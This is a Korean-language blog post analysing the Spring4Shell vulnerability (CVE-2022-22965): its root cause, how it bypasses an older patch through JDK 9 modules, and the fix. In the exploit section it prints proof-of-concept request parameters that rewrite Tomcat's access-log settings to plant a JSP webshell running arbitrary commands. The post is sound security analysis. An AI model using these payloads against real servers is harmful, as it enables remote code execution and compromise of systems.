Post

CVE-2022-22965 (Spring4Shell) 1-day 분석

1. Abstract

  • Request 파라미터에 class 를 이용하여 classLoader 접근할 수 있고, 이를 통해 Log 생성 설정을 변경시킬 수 있으며 이를 통해 WebShell 생성을 하고 RCE가 가능하다.

2. Vulnerability Analysis

2.1 Affect version

  • JDK (Java Development Kit) 9 버전 이상
  • Spring Framework : 5.3.17 및 5.2.19 이하 버전 (배포 방식 war)

2.2 Vulnerability Root Cause

HTTP Request를 보내면 Spring Framework 내부에서는 bindRequestParameters() 메소드를 호출한다.

1
2
3
4
5
6
if (bindingResult == null) {
	WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
	if (binder.getTarget() != null) {
	    if (!mavContainer.isBindingDisabled(name)) {
	        this.bindRequestParameters(binder, webRequest);
	    }

bindRequestParameters() 는 파라미터로 받은 객체의 속성을 가져오기 위해 내부에서 getCachedIntrospectionResults() 메소드를 호출한다.

아래는 getCachedIntrospectionResults() 메소드를 호출하기까지의 콜 스택이다.

Untitled

Spring4Shell 취약점은 이 getCachedIntrospectionResults() 메소드를 호출할 때 발생한다.

1
2
3
4
5
6
7
private CachedIntrospectionResults getCachedIntrospectionResults() {
    if (this.cachedIntrospectionResults == null) {
        this.cachedIntrospectionResults = CachedIntrospectionResults.forClass(this.getWrappedClass());
    }

    return this.cachedIntrospectionResults;
}

아래의 화면을 보면 getCachedIntrospectionResults() 메소드는 wrapping된 객체를 가져오는 데 이 때 class 객체도 같이 포함이 되어 있다. 따라서 HTTP Request를 보내는 것 만으로 class 객체에 접근할 수 있다.

Untitled

3. Exploit

3.1 Mitigation & Bypass

class 속성을 사용할 수 있지만 CVE-2010-1622 취약점 패치 때문에 바로 classLoader 를 호출할 수 없다. 따라서 JDK 9에서 추가된 module 기능을 이용해서 class.module.classLoader 와 같이 우회하여 classLoader 를 호출해주어야 한다.

CVE-2010-1622

  • 해당 취약점은 classLoader를 호출하여 다른 클래스들을 연쇄적으로 호출함으로써 최종적으로 원격 코드 실행(RCE)까지 가능한 취약점이다.

해당 취약점을 방어하기 위해서 PropertyDescriptor 값에서 classLoader와 protectionDomain 문자열이 있는지 검증하는 로직이 추가되었다.

1
2
3
4
5
6
7
8
// This call is slow so we do it once.
PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
for (PropertyDescriptor pd : pds) {
	if (Class.class == beanClass &&
			("classLoader".equals(pd.getName()) ||  "protectionDomain".equals(pd.getName()))) {
		// Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those
		continue;
	}

2010년에 패치되었던 취약점이 Spring4Shell에서 다시 이용된 이유는 JDK 9가 배포가 되면서 module 기능을 같이 배포했기 때문이다.

기존 CVE-2010-1622 에서 익스플로잇하기 위해서 class.classLoader 호출한 것을 JDK 9에서는 class.getModule() 메소드를 이용하여 class.module.classLoader 를 호출함으로서 기존에 패치되었던 로직을 우회할 수 있다.

3.2 Exploit Method

WebShell Create

class 속성을 이용하여 classLoader 를 호출하고 Apache Tomcat의 Log 저장 설정을 변경하기 위해서 최종적으로 getFirst() 메소드를 호출하여 AccessLogValve 의 속성들을 변경시켜주어 webshell 파일을 생성한다.

webshell을 만들기 위해서 변경시켜줄 속성은 다음과 같다.

Attribute설명
fileDateFormat액세스 로그 파일 이름에서 사용자 지정 타임스탬프를 허용한다. 형식이 지정된 타임스탬프가 변경될 때 마다 파일이 로테이트 된다.
directory로그 파일이 생성될 directory의 절대 경로 또는 상대 경로가 저장되는 속성, 이 속성이 지정되지 않을 때 기본값은 $CATALINA_BASE의 상대경로로 지정된다.
pattern기록할 요청 및 응답, 또는 표준 형식을 선택하기 위해 다양한 정보 필드를 식별하는 포맷 레이아웃을 지정하는 속성이다.
prefix각 로그 파일 이름의 접두사를 지정하는 속성이다. 기본값은 “access_log” 이다.
suffix각 로그 파일의 이름 끝에 추가되는 접미사를 지정하는 속성이다.

아래는 AccessLogValve 속성을 변경시키는 Spring4Shell POC 코드의 일부이다.

1
2
3
4
5
6
7
8
9
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
              f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
              f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
              f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
  • log_pattern : pattern 속성을 사용해 webshell 내용을 입력한다.
  • log_file_suffix : suffix 확장자를 .jsp 로 변경한다.
  • log_file_dir : directory 속성을 사용해 log 파일이 저장될 위치를 지정한다.
  • log_file_prefix : prefix 속성을 사용해 log 파일의 이름을 지정한다.
  • log_file_date_format : fileDateFormat 을 사용해 파일 로테이트 시간을 해제한다.

속성 값들이 변경되는 것을 확인하고자 POC 코드를 실행하기 전의 AccessLogValve 속성 값들을 확인하였다.

Untitled

POC 코드를 실행시키고 나서 fileDataFormat, directory, pattern, prefix, suffix 값이 변경된 것을 확인할 수 있다.

Untitled

POC 코드를 실행시킨 후 webshell 파일이 정상적으로 생성되는 것을 확인이 되었고 webshell 또한 정상적으로 동작이 되었다.

Untitled

webshell을 통해 정상적으로 RCE가 동작 되는 것을 확인했다.

Untitled

4. Patch

Spring 측에서는 Spring core에서 CachedIntrospectionResults 메소드에서 classLoader 의 호출을 막기 위해 classLoader 비교 구문을 강화했다. 해당 로직을 강화함으로써 classLoader 를 이용한 메소드 호출을 방지하였다.

Untitled

5. Reference

Spring4Shell(CVE-2022-22965) 취약점 원인분석 및 대응방안

SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 - Microsoft Security Blog

Spring4Shell: Security Analysis of the latest Java RCE ‘0-day’ vulnerabilities in Spring - LunaTrace

https://docs.spring.io/spring-framework/docs/3.2.5.RELEASE_to_3.2.6.RELEASE/Spring Framework 3.2.6.RELEASE/org/springframework/beans/BeanWrapperImpl.html#getCachedIntrospectionResults()

StandardPipeline (Apache Tomcat 8.5.98 API Documentation)

Apache Tomcat 9 Configuration Reference (9.0.85) - The Valve Component

Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework

ServletContext (Java EE 6 )

https://tomcat.apache.org/tomcat-9.0-doc/config/context.html

This post is licensed under CC BY 4.0 by the author.